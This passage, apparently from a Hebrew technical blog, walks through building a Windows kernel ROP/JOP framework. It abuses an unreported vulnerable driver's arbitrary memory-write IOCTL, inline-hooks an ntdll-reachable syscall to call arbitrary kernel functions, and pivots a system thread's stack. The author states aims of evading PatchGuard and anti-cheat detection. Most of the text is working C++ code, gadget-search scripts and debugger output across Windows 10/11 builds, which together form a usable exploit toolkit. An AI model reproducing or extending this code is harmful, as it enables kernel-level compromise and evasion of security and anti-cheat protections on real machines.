bool WritePhysicalMemory(const void* VirtualDestination, const T VirtualSource) const
{
    const MemoryWriteIoctlPacket IoctlPacketData(
        reinterpret_cast<std::uint64_t>(VirtualDestination),
        reinterpret_cast<std::uint64_t>(&VirtualSource),
        sizeof(VirtualSource)
    );

    std::uint32_t BytesReturned = 0;
    if (!DeviceIoControl(DriverHandle,
        WRITE_PRIMITIVE_DISPATCH_CODE,
        reinterpret_cast<const void*>(&IoctlPacketData),
        sizeof(MemoryWriteIoctlPacket),
        nullptr,
        NULL,
        reinterpret_cast<LPDWORD>(&BytesReturned),
        NULL
    ))
    {
        return false;
    }

    return true;
}
```

הניצול קל מאוד, פשוט נשלח בקשה לדרייבר עם הקוד 0x81000000, הבקשה תכיל את הכתובת מקור, יעד וגודל הכתיבה.

בכל אופן, היה ניתן גם לבחור כמעט כל דרייבר המתועד באתר loldrivers, אבל החלטתי למצוא דרייבר שלא דווח עליו באינטרנט.

מגניב, עכשיו כשיש לנו דרייבר שמאפשר כתיבה לכל כתובת בקרנל, אנחנו צריכים להבין כיצד נוכל לקרוא לפונקציות שיאפשרו לנו להרים את ה-ROP Thread שלנו. נצטרך לקרוא לפונקציות שיאלקצו עבורינו זיכרון לסטאק וזיכרון למשתנים. בשביל זה נוכל להשתמש בפונקציות אלקוץ זיכרון כמו ExAllocatePool2 ו-MmAllocateContiguousMemory. בנוסף נצטרך פונקציה כמו PsCreateSystemThread שתיצור את ה-Thread שלנו.

קריאה לפונקציות בקרנל

השיטה שבחרתי להשתמש בה היא לכתוב inline hook לתוך פונקציה כלשהי שניתן לקרוא לה מהיוזרמוד דרך ntdll.

ה-hook יקפוץ לפונקציה הקרנלית אותה אנחנו רוצים להריץ, ולאחר ביצוע הקריאה נשחזר את התוכן לקוד מקור בשביל שלא נטריג את המערכת patch guard, או נשאיר בטעות עקבות שהאנטי-צ'יט יוכל למצוא. ככלל עדיף שנשתמש בפונקציה שלא נקראת הרבה, בשביל שלא נסכן מצב בו קריאה לגיטימית שמערכת ההפעלה מבצעת תריץ את ה-hook שלנו, ולכן נבחון את הפונקציה בה נשתמש. לדוגמא, פונקציה אחת שנראת מתאימה הינה NtShutdownSystem, משום שהיא לא נקראת אף פעם אלא אם כן מכבים את המחשב. עם זאת, העדפתי לבחור בפונקציה שלוקחת מעל ל-4 פרמטרים, בשביל שנוכל להעביר פרמטרים דרך הסטאק מהיוזרמוד כשנבצע את הקריאה לפונקציה. לאחר קצת מעבר על הפונקציות השונות שנמצאות ברשימת הפונקציות הלא מתועדת, בחרתי בפונקציה בשם NtReadFileScatter משום שראיתי שאינה נקראת באופן נפוץ, ועוברים דרכה תשעה פרמטרים.

כתבתי מחלקה פשוטה שמאפשרת להוסיף את ה-hook לכל פונקציה לפי השם שלה:

```
ArbitraryCaller(const std::string_view& FunctionToPatch, const std::string_view& FunctionModuleName = "ntdll.dll")
{
    const HMODULE LibraryAddress = LoadLibraryA(FunctionModuleName.data());
    if (!LibraryAddress)
     // ...
    this->UmFunctionAddress = reinterpret_cast<std::uintptr_t>(GetProcAddress(LibraryAddress, FunctionToPatch.data()));
    this->KmFunctionAddress = NtoskrnlBase + Driver::GetKernelFunctionOffset(FunctionToPatch.data());
    if (!this->KmFunctionAddress || !this->UmFunctionAddress)
     // ...
}

~ArbitraryCaller() = default;

template<typename ReturnType, typename... Args>
ReturnType CallByAddress(void* FunctionAddress, Args... args)
{
    this->RedirectCall(reinterpret_cast<void*>(this->KmFunctionAddress), FunctionAddress);

    using FuncPtr = ReturnType(*)(Args...);
    const ReturnType ReturnValue = reinterpret_cast<FuncPtr>(this->UmFunctionAddress)(args...);

    this->DisableRedirect(reinterpret_cast<void*>(this->KmFunctionAddress));

    return ReturnValue;
}

template<typename ReturnType, typename... Args>
ReturnType Call(const std::string_view& FunctionName, Args... args)
{
    void* FunctionAddress = reinterpret_cast<void*>(NtoskrnlBase + Driver::GetKernelFunctionOffset(FunctionName.data()));
    if (!FunctionAddress)
        return ReturnType();

    ReturnType ReturnValue = this->CallByAddress<ReturnType, Args...>(FunctionAddress, args...);

    return ReturnValue;
}
```

וכך אני מוסיף את ה-Hook (ה-shellcode פשוט מבצע קפיצה לכתובת של הפונקציה אליה נרצה לקרוא):

```
bool Driver::ArbitraryCaller::RedirectCall(void* OriginalFunction, const void* NewFunction)
{
    if (!OriginalFunction || !NewFunction)
        return false;

    char* RedirectBuffer = new char[sizeof(RedirectShellcode)];
    std::memcpy(RedirectBuffer, RedirectShellcode, sizeof(RedirectShellcode));
    std::memcpy(RedirectBuffer + sizeof(RedirectShellcode) - sizeof(void*),
        &NewFunction,
        sizeof(void*)
    );

    const bool Success = WritePhysicalMemory(OriginalFunction, RedirectBuffer, sizeof(RedirectShellcode));
    delete[] RedirectBuffer;

    return Success;
}
```

עכשיו יש לנו יכולת לקרוא לכל פונקציה בקרנל, למשל כאן אני מאלקץ 0x100 בתים:

```
Driver::ArbitraryCaller KernelCaller = Driver::ArbitraryCaller("NtReadFileScatter");
KernelCaller.Call<void*, std::size_t, ULONG>("MmAllocateContiguousMemory", 0×100, MAXULONG64);
```

חשוב לציין שבעוד שהשיטה הזו עובדת טוב, יש בה בעיה חשובה - היא דורשת שמערכת האבטחה HVCI תהיה כבוייה. המערכת הזאת משתמשת בהייפרויזור בשביל לחייב מדיניות אבטחה בשם W^X הקבועת כי page בזיכרון יכול להיות רק writable או executable, אך לא שניהם בו-זמנית.

נכון לעכשיו, אני מתכנן להוסיף תמיכה ב-HVCI בעתיד.

אנחנו קוראים לפונקציות קרנל לגיטימיות, ככה שאם נוכל למצוא דרך לקרוא להן מבלי לכתוב shellcode, נוכל לתמוך ב-HVCI. יש לי מספר רעיונות לגבי איך לפתור את הסוגייה, אך עדיין לא הוכחתי אותם ולכן לא ארחיב על כך במאמר זה – אולי אכתוב על כך באופן מפורט בעתיד.

תשתית לחיפוש גאדג'טים של ROP

כמו שכתבתי מוקדם יותר, במידה ונרצה לתמוך במגוון רב של גרסאות ווינדוס, נוכל לוודא שכל גאדג'ט שאנו בוחרים בו יהיה קיים בכל הגרסאות בהן אנו רוצים לתמוך. החלטתי לתמוך בכל הגרסאות של Windows 11, ולמרות שהתמיכה הממושכת עבור Windows 10 הסתיימה ב-14.10.25, החלטתי גם להוסיף תמיכה בגרסא העדכנית ביותר של Windows 10, שהיא 22H2.

הכלי יתמוך בכל הגרסאות הבאות, ובכל הגרסאות המינוריות שיצאו לאורך הדרך בעזרת עדכוני KB (Kernel build).

- Windows 11 25H2 (הגרסא העדכנית ביותר נכון לזמן הכתיבה)
- Windows 11 24H2
- Windows 11 23H2
- Windows 11 22H2
- Windows 11 21H2
- Windows 10 22H2

החלטתי שמקור הגאדג'טים שלי יהיה ntoskrnl.exe, כלומר הליבה של הקרנל, זאת מכיוון שמאוד נוח לנהל מעקב לאחר גרסאות ישנות וחדשות כשאנחנו משיגים גאדג'טים רק מבינארי אחד, אך באותה מידה גם הייתי יכול להשתמש בגאדג'טים מדרייברים שונים שרצים במערכת ההפעלה.

נוכל להשתמש באתר Winbindex בשביל לראות תיעוד וקישורים לגרסאות השונות של ntoskrnl.exe שיצאו לאורך השנים. ניתן לראות כי מדובר במאות בינארים של ntoskrnl.exe שנצטרך להוריד בשביל לתמוך בכל אחת מהגרסאות בהן בחרנו.

ntoskrnl.exe - Winbindex

NT Kernel & System

Show 10 entries Search:

SHA256	Windows	Update	File arch	File version	File size	Extra	Download
2aebef...	Windows 11 24H2 (+1)	KB5067036	x64	10.0.26100.7019	12.37 MB	Show	Download
94d9ea...	Windows 11 24H2 (+1)	KB5070773	x64	10.0.26100.6901	12.35 MB	Show	Download
2014e8...	Windows 11 24H2 (+1)	KB5066835	x64	10.0.26100.6899	12.35 MB	Show	Download
4f4e07...	Windows 11 24H2 (+1)	KB5065789	x64	10.0.26100.6725	12.35 MB	Show	Download
e64c39...	Windows 11 24H2	KB5065426 (+1)	x64	10.0.26100.6584	12.35 MB	Show	Download
6975ad...	Windows 11 24H2	KB5064081	x64	10.0.26100.5074	12.35 MB	Show	Download
e5a221...	Windows 11 24H2	KB5063878	x64	10.0.26100.4946	12.39 MB	Show	Download
9b00ca...	Windows 11 24H2	KB5062660	x64	10.0.26100.4768	12.38 MB	Show	Download
1db076...	Windows 11 24H2	KB5064489	x64	10.0.26100.4656	12.39 MB	Show	Download
593136...	Windows 11 24H2	KB5062553	x64	10.0.26100.4652	12.39 MB	Show	Download
SHA256	Windows	Update	File arch	File version	File size	Extra	Download

Showing 1 to 10 of 1,054 entries Previous 1 2 3 4 5 ... 106 Next

התחלתי מלעשות git clone לפרוייקט Winbindex, מכיוון שהוא open source, לאחר מכן ניתן לעבור ל-branch בשם "gh-pages" הכולל את הקובץ "data/by_filename_compressed/ntoskrnl.exe.json.gz", את הקובץ ניתן לחלץ, בקובץ קיים מידע על כל הגרסאות השונות כפי שמופיע בתמונה, פרט לקישור ההורדה מהאתר של מייקרוסופט, בשביל לייצר אותו נראה איך האתר מחשב את הקישור. את זאת ניתן לראות כאן

```
function makeSymbolServerUrl(peName, timeStamp, imageSize) {
    // "%s/%s/%08X%x/%s" % (serverName, peName, timeStamp, imageSize, peName)
    // https://randomascii.wordpress.com/2013/03/09/symbols-the-microsoft-w
    var fileId = ('0000000' + timeStamp.toString(16).toUpperCase()).slice(-8) + imageSize.toString(16).toLowerCase();
    return 'https://msdl.microsoft.com/download/symbols/' + peName + '/' + fileId + '/' + peName;
}
```

עכשיו נוכל להריץ את אותו הקוד על המידע שקיבלנו מקובץ ה-json, ולחלץ רשימה של קישורי הורדה לכל אחד ממאות הגרסאות של ntoskrnl.exe.

כתבתי סקריפט שמבצע את כל זה, ומחזיר לנו json חדש עם מידע רלוונטי על כל קובץ, כולל הקישור הורדה מאתר מייקרוסופט:


```
9592    {
9593        "url":  "https://msdl.microsoft.com/download/symbols/ntoskrnl.exe/B8562C111047000/ntoskrnl.exe",
9594        "version":  "10.0.22621.2506 (WinBuild.160101.0800)",
9595        "winver":  "Windows 11 22H2",
9596        "architecture":  "x64",
9597        "size_bytes":  12076528,
9598        "sha256":  "4b954aae4b18a231b2254c0989b1b6bcc55741a8ef90a350f036d09cd480cc99",
9599        "timestamp":  3092655121,
9600        "virtual_size":  17068032
9601    },
9602    {
9603        "url":  "https://msdl.microsoft.com/download/symbols/ntoskrnl.exe/2583840C1047000/ntoskrnl.exe",
9604        "version":  "10.0.22621.2715 (WinBuild.160101.0800)",
9605        "winver":  "Windows 11 22H2",
9606        "architecture":  "x64",
9607        "size_bytes":  12076528,
9608        "sha256":  "dcb872125f963f80b5d31132f1be41139afc62e4b48385236caa60d6d3a3f5f9",
9609        "timestamp":  629376012,
9610        "virtual_size":  17068032
9611    },
9612    {
9613        "url":  "https://msdl.microsoft.com/download/symbols/ntoskrnl.exe/45E0905D1047000/ntoskrnl.exe",
9614        "version":  "10.0.22621.2792 (WinBuild.160101.0800)",
9615        "winver":  "Windows 11 22H2",
9616        "architecture":  "x64",
9617        "size_bytes":  12076400,
9618        "sha256":  "98831dafa306900ac2b11f23fe69a789f1232127c653f3e01554c339bcb08365",
9619        "timestamp":  1172344925,
9620        "virtual_size":  17068032
9621    },
9622    {
9623        "url":  "https://msdl.microsoft.com/download/symbols/ntoskrnl.exe/9EEE36DE1047000/ntoskrnl.exe",
9624        "version":  "10.0.22621.2861 (WinBuild.160101.0800)",
9625        "winver":  "Windows 11 22H2",
9626        "architecture":  "x64",
9627        "size_bytes":  12076416,
9628        "sha256":  "0ce15480462e9cd3f7cbf2d44d2e393cf5674ee1d69a3459adfa0e913a7a2aeb",
9629        "timestamp":  2666411742,
9630        "virtual_size":  17068032
9631    },
```

עכשיו כתבתי סקריפט נוסף שעבר את אותו ה-json, והוריד את כל הקבצים עבורי, ולאחר מכן הריץ את הכלי ropper על מנת לחלץ את הגאדג'טים. לאחר כמה שעות הרצה, השגתי את כל מאות הגרסאות המעניינות אותי עבור הכלי, ופרסרתי את הגאדג'טים:

כך לדוגמא נראים קבצי הגאדג'ט שהכלי ropper הביא לנו:

עכשיו רק נשאר לכתוב סקריפט עזר נוסף שנותן לנו לחפש עבור גאדג'ט שמעניין אותנו, ולוודא כי הוא קיים בכל הגרסאות שהורדנו. כשכתבתי את הכלי, הוספתי תמיכה ב-regex בעת חיפוש גאדג'טים עבור חוייה נוחה.

הנה דוגמא לשימוש בסקריפט בניסיון לחיפוש לאחר גאדג'ט שקיים בכל גרסא, כפי שניתן לראות הסקריפט לא הדפיס שגיאה על כך שהגאדג'ט חסר בגרסא כלשהי, ולכן הוא בטוח לשימוש.

```
PS C:\Users\krispy\Documents\roprw\scripts> python3 .\search_gadgets.py -r ": cmp esi, esi; ret;" --show-missing-only

[ Windows10-22h2 ]  Searching 61 gadget file(s) in C:\Users\krispy\Documents\roprw\scripts\Windows10-22h2\Gadgets

[ Windows11-21h2 ]  Searching 59 gadget file(s) in C:\Users\krispy\Documents\roprw\scripts\Windows11-21h2\Gadgets

[ Windows11-22h2 ]  Searching 70 gadget file(s) in C:\Users\krispy\Documents\roprw\scripts\Windows11-22h2\Gadgets

[ Windows11-23h2 ]  Searching 46 gadget file(s) in C:\Users\krispy\Documents\roprw\scripts\Windows11-23h2\Gadgets

[ Windows11-24h2 ]  Searching 31 gadget file(s) in C:\Users\krispy\Documents\roprw\scripts\Windows11-24h2\Gadgets

[ Windows11-25h2 ]  Searching 3 gadget file(s) in C:\Users\krispy\Documents\roprw\scripts\Windows11-25h2\Gadgets

[ Windows11-insider-03-10-25 ]  Searching 47 gadget file(s) in C:\Users\krispy\Documents\roprw\scripts\Windows11-insid


===== SUMMARY =====

Windows10-22h2: 61/61 files contain the gadget, 0 do not.

Windows11-21h2: 59/59 files contain the gadget, 0 do not.

Windows11-22h2: 70/70 files contain the gadget, 0 do not.

Windows11-23h2: 46/46 files contain the gadget, 0 do not.

Windows11-24h2: 31/31 files contain the gadget, 0 do not.

Windows11-25h2: 3/3 files contain the gadget, 0 do not.

Windows11-insider-03-10-25: 47/47 files contain the gadget, 0 do not.
```

במידה והסקריפט מוצא כי גאדג'ט מסויים לא קיים בחלק מהגרסאות, הוא מתעד באילו בינארים וגרסאות מדובר:

```
PS C:\Users\krispy\Documents\roprw\scripts> python3 .\search_gadgets.py -r ": mov r9, rax; mov rax, r9; ret;" --show-missing-only

[ Windows10-22h2 ]  Searching 61 gadget file(s) in C:\Users\krispy\Documents\roprw\scripts\Windows10-22h2\Gadgets
  - MISSING in KB5023773-10.0.19041.2788.gadgets.txt
  - MISSING in KB5025221-10.0.19041.2846.gadgets.txt
  - MISSING in KB5025297-10.0.19041.2913.gadgets.txt
  - MISSING in KB5026361-10.0.19041.2965.gadgets.txt
  - MISSING in KB5026435-10.0.19041.3031.gadgets.txt
  - MISSING in KB5027215-10.0.19041.3086.gadgets.txt
  - MISSING in KB5027293-10.0.19041.3155.gadgets.txt
```

יצירת System thread ושליטה על הסטאק

עכשיו כתשתיות הפרוייקט מוכנות, נוכל להתחיל את השימוש ב-rop. ראשית נתחיל מיצירה של System thread. את זה נוכל לבצע בעזרת הפונקציה PsCreateSystemThread.

PsCreateSystemThread function (wdm.h)

The **PsCreateSystemThread** routine creates a system thread that executes in kernel mode and returns a handle for the thread.

Syntax

C++ Copy

```
NTSTATUS PsCreateSystemThread(
  [out]           PHANDLE            ThreadHandle,
  [in]            ULONG              DesiredAccess,
  [in, optional]  POBJECT_ATTRIBUTES ObjectAttributes,
  [in, optional]  HANDLE             ProcessHandle,
  [out, optional] PCLIENT_ID         ClientId,
  [in]            PKSTART_ROUTINE    StartRoutine,
  [in, optional]  PVOID              StartContext
);
```

נקרא לפונקציה בעזרת המחלקה ArbitraryCaller עלייה דיברתי מוקדם יותר. ניאלץ להעביר כתובת התחלה דרך הפרמטר השישי "StartRoutine", הכתובת הזו תצביע לקוד שהתרד שלנו יריץ. כאשר מערכת ההפעלה יוצרת System thread, היא גם מאלקצת עבורו סטאק בגודל 0x6000 בתים לתוכו האוגר RSP יצביע. אנחנו לא שולטים על תוכן הסטאק שמערכת ההפעלה אילקצה, ואם ננסה לדרוס אותו בזמן שהוא בשימוש, יכול להיות שניפול על race condition כלשהו שיגרום למערכת ההפעלה לקרוס. לכן עדיף לגרום ל-system thread עצמו להריץ קוד שיבצע Stack pivoting לסטאק שאנחנו אילקצנו ושולטים על התוכן שלו, כלומר שנגרום לתרד לשנות את הערך של RSP לערך שאנחנו שולטים עליו. יש לנו כמה דרכים לשלוט על הקוד שהתרד מריץ, דרך אפשרית היא לאלקץ shellcode שמבצע stack pivot ולגרום ל-StartRoutine להצביע אליו. האופציה השנייה בה בחרתי היא למצוא גאדג'ט כלשהו שיבצע עבורינו את ה-pivoting. ואיך נוכל לשלוט בערך שייכתב ל-RSP? ובכן, הפרטמר האופציונאלי StartContext נועד להעביר פרמטר יחיד לפונקציה StartRoutine שתיקראה. בוא ננסה להעביר "ערך קסם" כמו DEADBEEF לתוך StartContext ולשים breakpoint על StartRoutine בשביל לראות על מה אנחנו שולטים, כך נדע איזה סוג pivot לחפש.

נשים ברייקפוינט ולאחר מכן נבצע קריאה ל-PsCreateSystemThread ונעביר בפרטמר השביעי את הערך 0xDEADBEEFDEADBEEF:

```
NTSTATUS ThreadCreationStatus = KernelCaller.Call(
    "PsCreateSystemThread",
    &KernelThreadHandle,
    THREAD_ALL_ACCESS,
    NULL,
    NULL,
    NULL,
    BootstrapGadget,
    0×DEADBEEFDEADBEEF
);
```

כשה-breakpoint הוטרג, אפשר לראות שאנחנו שולטים על rcx, rdx, rdi, ואפילו על RSP-0x8:

```
Registers
RAX: FFFFF807EE098BD0   RBX: FFFF9287B3873080   RCX: DEADBEEFDEADBEEF
RDX: DEADBEEFDEADBEEF   RSI: FFFFF807EE098BD0   RDI: DEADBEEFDEADBEEF
RIP: FFFFF807EE098BD0   RSP: FFFFBC8E1D65ABE8   RBP: 0000000000000080
R8:  0000000000000000   R9:  0000000000000001   R10: FFFF9287A969D040
R11: 0000000000000080   R12: FFFFBC8E1CBE9604   R13: 0000000000000001
R14: FFFF9287A969D040   R15: FFFFA78140B13000
EFLAGS: 00040246 CF=0 PF=1 AF=0 ZF=1 SF=0 TF=0 IF=1 DF=0 OF=0
```

```
3: kd> dqs rsp-0x8 L1
ffffbc8e`1d65abe0  deadbeef`deadbeef
```

ניסיתי לחפש עבור הפעולות הבאות בתור התחלה:

- mov rsp, qword ptr [rsp - 8]
- mov rsp, rcx
- mov rsp, rdx
- mov rsp, rdi

אך לא מצאתי כלום, נצטרך לבצע חיפוש אחר.

בואו ננסה לחפש עבור קריאות מהאוגרים, במקום שימוש ישיר בהם.

כמו למשל mov rsp, qword ptr [rdx].

לאחר מספר חיפושים מצאתי את הגאדג'ט המושלם:

```
PS C:\Users\krispy\Documents\roprw\scripts> python3 .\search_gadgets.py -r "mov rsp, qword ptr \[rcx"

[ Windows10-22h2 ]  Searching 61 gadget file(s) in C:\Users\krispy\Documents\roprw\scripts\Windows10-22h2\Gadgets
  - KB5023773-10.0.19041.2788.gadgets.txt: 9 match(es)
  -> 8888: 0x00000001403f7952: add byte ptr [rax - 0x75], cl; push rcx; push rax; mov rbp, qword ptr [rcx + 0x18]; mov rsp, qword ptr [rcx +
  -> 14666: 0x00000001403f7951: add byte ptr [rax], al; mov rdx, qword ptr [rcx + 0x50]; mov rbp, qword ptr [rcx + 0x18]; mov rsp, qword ptr
  -> 85932: 0x00000001403f7958: mov ebp, dword ptr [rcx + 0x18]; mov rsp, qword ptr [rcx + 0x10]; jmp rdx;
  -> 89470: 0x00000001403f7954: mov edx, dword ptr [rcx + 0x50]; mov rbp, qword ptr [rcx + 0x18]; mov rsp, qword ptr [rcx + 0x10]; jmp rdx;
  -> 94506: 0x00000001403f7957: mov rbp, qword ptr [rcx + 0x18]; mov rsp, qword ptr [rcx + 0x10]; jmp rdx;
  -> 96348: 0x00000001403f7953: mov rdx, qword ptr [rcx + 0x50]; mov rbp, qword ptr [rcx + 0x18]; mov rsp, qword ptr [rcx + 0x10]; jmp rdx;
  -> 96911: 0x00000001403f795b: mov rsp, qword ptr [rcx + 0x10]; jmp rdx;
  -> 109971: 0x00000001403f7956: push rax; mov rbp, qword ptr [rcx + 0x18]; mov rsp, qword ptr [rcx + 0x10]; jmp rdx;
  -> 110655: 0x00000001403f7955: push rcx; push rax; mov rbp, qword ptr [rcx + 0x18]; mov rsp, qword ptr [rcx + 0x10]; jmp rdx;
```

```
mov rdx, qword ptr [rcx + 0x50]; mov rbp, qword ptr [rcx + 0x18]; mov rsp,
qword ptr [rcx + 0x10]; jmp rdx;
```

אמנם הוא לא מבצע ret, אבל הוא כן כותב ל-rdx ערך שאנחנו שולטים עליו, ואז קופץ אליו. לכן טכנית לא מדובר בגאדג'ט ROP אלא ב-JOP (Jump oriented programming), בסוף הרעיון זהה, פשוט במקום לשלוט על ההרצה בעזרת פעולת ret אנחנו שולטים עלייה בעזרת jump.

בשביל לשלוט על כל הערכים, נוכל לגרום ל-rcx להצביע לאלקוץ שמכיל את המבנה נתונים הבא:

```
struct PivotData
{
    uint8_t Padding1[0x10];
    void* NewRsp;           // Offset 0x10: New stack pointer
    void* NewRbp;           // Offset 0x18: New base pointer
    uint8_t Padding2[0x30];
    void* JumpAddress;      // Offset 0x50: Jump target (rdx)
};
```

עכשיו רק נשאר לאלקץ את המבנה נתונים, להגדיר את אופסט 0x10 כערך החדש שנרצה ש-rsp יהיה, אופסט 0x18 כערך החדש ל-rbp (הערך לא מעניין), ונגדיר את הערך של rdx באופסט 0x50, נגרום לו להצביע לאינסטרוקציית ret שפשוט תתחיל להריץ את הסטאק שלנו.

את כל זה נוכל לבצע כך:

ראשית נבצע אלקוץ זיכרון בגודל sizeof(PivotData), ואליו נכתוב את התוכן הבא:

```
PivotData BootstrapPivotData = {};
BootstrapPivotData.NewRsp = NewRspAddress;
BootstrapPivotData.NewRbp = NULL;
BootstrapPivotData.JumpAddress = RetGadgetAddress;

KernelCaller.Call(
    "memcpy",
    PivotDataAllocation,
    &BootstrapPivotData,
    sizeof(PivotData)
);
```

כעת נוכל לבצע את אותה הקריאה ל-PsCreateSystemThread, רק שעכשיו StartRoutine יצביע לגאדג'ט שלנו, ו-StartContext יצביע לאלקוץ מידע שלנו.

```
void RopThreadManager::SpawnThread()
{
    // mov rdx, qword ptr [rcx + 0x50]; mov rbp, qword ptr [rcx + 0x18]; mov rsp, qword ptr [rcx + 0x10]; jmp rdx;
    void* BootstrapGadget = (void*)(Globals::KernelBase + PIVOT_GADGET_OFFSET);

    HANDLE KernelThreadHandle;
    NTSTATUS ThreadCreationStatus = KernelCaller.Call<NTSTATUS, HANDLE*, ULONG, OBJECT_ATTRIBUTES*, HANDLE, void*, void*, void*>(
        "PsCreateSystemThread",
        &KernelThreadHandle,
        THREAD_ALL_ACCESS,
        NULL,
        NULL,
        NULL,
        BootstrapGadget,
        KernelMemory->PivotDataAllocation
    );

    if (!NT_SUCCESS(ThreadCreationStatus))
    {
        std::exception("PsCreateSystemThread failed");
    }

    KernelCaller.Call<void*, HANDLE>("ZwClose", KernelThreadHandle);
}
```

עכשיו בוא נאמת שהכל עובד, ראשית נגדיר כי הסטאק אליו נעשה pivot יכיל מספר גאדג'טים שמבצעים nop בשביל לראות שאנחנו יכולים להריץ גאדג'טים לבחירתינו דרך הסטאק.

```
void RopThreadManager::BuildInitStack(StackManager* Stack)
{
    Stack→AddGadget("nop; ret;");
    Stack→AddGadget("nop; ret;");
    Stack→AddGadget("nop; ret;");
}
```

אפשר לראות שהגאדג'ט pivot שלנו רץ:

```
fffff804`9ea98bd0 488b5150          mov     rdx, qword ptr [rcx+50h]
fffff804`9ea98bd4 488b6918          mov     rbp, qword ptr [rcx+18h]
fffff804`9ea98bd8 488b6110          mov     rsp, qword ptr [rcx+10h]
fffff804`9ea98bdc ffe2              jmp     rdx
```

והוא הגדיר את rsp בצורה נכונה, כי האוגר מצביע לסטאק שאילקצנו ומכיל את שלושת הגאדג'טים של ה-nop.

```
Command
3: kd> dqs rsp L3
ffffa502`dca30000  fffff804`9e7f5ddc nt!PPmHeteroHgsUpdateOrderValue+0x17c
ffffa502`dca30008  fffff804`9e7f5ddc nt!PPmHeteroHgsUpdateOrderValue+0x17c
ffffa502`dca30010  fffff804`9e7f5ddc nt!PPmHeteroHgsUpdateOrderValue+0x17c
3: kd> u nt!PPmHeteroHgsUpdateOrderValue+0x17c L2
nt!PPmHeteroHgsUpdateOrderValue+0x17c:
fffff804`9e7f5ddc 90              nop
fffff804`9e7f5ddd c3              ret
```

לאחר מכן מבוצעת קפיצה ל-rdx שפשוט מצביע לגאדג'ט ret:

```
Command
3: kd> u rdx
nt!_tlgWriteTemplate<long __cdecl(_tlgProvider
fffff804`9e60043b c3              ret
fffff804`9e60043c cc              int     3
fffff804`9e60043d cc              int     3
fffff804`9e60043e cc              int     3
fffff804`9e60043f cc              int     3
fffff804`9e600440 cc              int     3
fffff804`9e600441 cc              int     3
fffff804`9e600442 cc              int     3
```

אפשר לשים breakpoint על הגאדג'ט nop ולראות שהוא רץ שלושה פעמים, לאחר מכן אנחנו קורסים כמובן, כי אין לנו ערך עוקב בסטאק. אבל מגניב, עכשיו יש לנו pivot שקיים בכל הגרסאות בהן רצינו לתמוך!

```
3: kd> u nt!PPmHeteroHgsUpdateOrderValue+0x17c L2
nt!PPmHeteroHgsUpdateOrderValue+0x17c:
fffff804`9e7f5ddc 90              nop
fffff804`9e7f5ddd c3              ret
3: kd> bp nt!PPmHeteroHgsUpdateOrderValue+0x17c
3: kd> g
Breakpoint 1 hit
nt!PPmHeteroHgsUpdateOrderValue+0x17c:
fffff804`9e7f5ddc 90              nop
3: kd>
Breakpoint 1 hit
nt!PPmHeteroHgsUpdateOrderValue+0x17c:
fffff804`9e7f5ddc 90              nop
3: kd>
Breakpoint 1 hit
nt!PPmHeteroHgsUpdateOrderValue+0x17c:
fffff804`9e7f5ddc 90              nop
3: kd> g
KDTARGET: Refreshing KD connection

*** Fatal System Error: 0x000001aa
                       (0xFFFFA502DCA30020,0x0000000000000003,0xFFFFA502D

Break instruction exception - code 80000003 (first chance)

A fatal system error has occurred.
Debugger entered on first try; Bugcheck callbacks have not been invoked.

A fatal system error has occurred.

For analysis of this file, run !analyze -v
nt!DbgBreakPointWithStatus:
fffff804`9e8f7240 cc              int     3
```

קריאה לפונקציות ב-ROP

עכשיו כשיש לנו דרך להריץ גאדג'טים בעזרת הסטאק, בואו נבין איך בכלל נוכל לקרוא לפונקציות ב-ROP. המטרה הינה לתמוך בקונבצניית הקריאה לפונקציות המצויינת על ידי ה-ABI (Application binary interface), ניתן לקרוא על כך לעומק כאן. כפי שציינתי לפני כן, ארבעת הפרמטרים הראשונים מועברים דרך האוגרים rcx, rdx, r8 ו-r9, לפי הסדר. לאחר מכן שאר הפרמטרים מועברים דרך הסטאק, ונדחפים לסטאק בסדר, ראשית מהפרמטר האחרון ועד החמישי, בנוסף כל הפרמטרים שמועברים דרך הסטאק הינם מושלמים להיות מיושרים ל-8 בתים בסטאק.

בנוסף, קיים חוצץ בגודל של 32 בתים הנקרא shadow store, אחריו נשים את הפרמטרים המועברים דרך הסטאק.

ניתן לראות תרשים מדוייק המתאר כיצד הסטאק פריים שלנו יצטרך להיראות בעת קריאה לפונקציה כאן:

בנוסף, נצטרך לדאוג לשני דברים נוספים. הראשון הוא שהקורא לפונקציה הינו האחראי לניקיון ה- shadow store, ואת הפרמטרים שהועברו לסטאק. הדבר השני הוא שבמידה ונרצה לקרוא לפונקציות אשר משתמשות באוגרי ה-XMM שבמעבד, כמו memcpy למשל, ניאלץ לוודא כי הסטאק שלנו מיושר ל-16 בתים, אחרת נקרוס בתוך הפונקציה.

אחרי שהבנו את כל זה, נוכל לתכנן כיצד נקרא לפונקציה לפי הפעולות הבאות:

1. הרצת גאדג'טים אשר יגדירו את האוגרים rcx, rdx, r8, r9 לפי צורך
2. נוכל לבצע יישור של הסטאק ל-16 בתים, נעשה זאת על ידי הוספה של כתובת גאדג'ט ret במידה והסטאק אינו מיישור, את זאת למדתי מכאן
3. הוספה של כתובת הפונקציה אותה נרצה להריץ
4. הגדרה של ה-ret address אליו הפונקציה תחזור ברגע שסיימה לרוץ - פה נרצה לשים גאדג'ט אשר מנקה את ה-shadow store ואם העברנו פרמטרים אז גם ננקה אותם
5. הוספת padding בגודל 32 בתים עבור חוצץ ה-shadow store
6. הוספת הפרמטרים הנדרשים להיות מועברים דרך הסטאק, במידה ויש כאלו

בואו ניצור פונקציה דינאמית אשר תאפשר קריאה לפונקציות בעזרת ROP. ראשית, נבצע את שלב מספר אחד, בו נגדיר את הפרמטרים המועברים דרך האוגרים.

```
template<typename ... Args>
void AddFunctionCall(const std::string_view& FunctionName, Args&& ... args)
{
    constexpr std::size_t ArgCount = sizeof...(Args);
    const std::uint64_t FunctionAddress = Driver::GetKernelFunctionOffset(FunctionName);

    // Setup ropchain for arguments only if there are any
    if constexpr (ArgCount > 0)
    {
        std::uint64_t ConvertedArgs[] = { static_cast<std::uint64_t>(args)... };

        if (ArgCount ≥ 1)
        {
            this->AddGadget("pop rcx; ret;");
            this->AddValue(ConvertedArgs[0]);
        }

        if (ArgCount ≥ 2)
        {
            this->AddGadget("pop rdx; ret;");
            this->AddValue(ConvertedArgs[1]);
        }

        if (ArgCount ≥ 3)
        {
            this->AddGadget("pop r8; ret;");
            this->AddValue(ConvertedArgs[2]);
        }

        if (ArgCount ≥ 4)
        {
            this->AddGadget("pop r9; ret;");
            this->AddValue(ConvertedArgs[3]);
        }
    }

   // ...
}
```

כפי שמתואר בשלב השני, ניישר את הסטאק ל-16 בתים בעזרת הפונקצית עזר הבאה:

```
void StackManager::AlignStack()
{
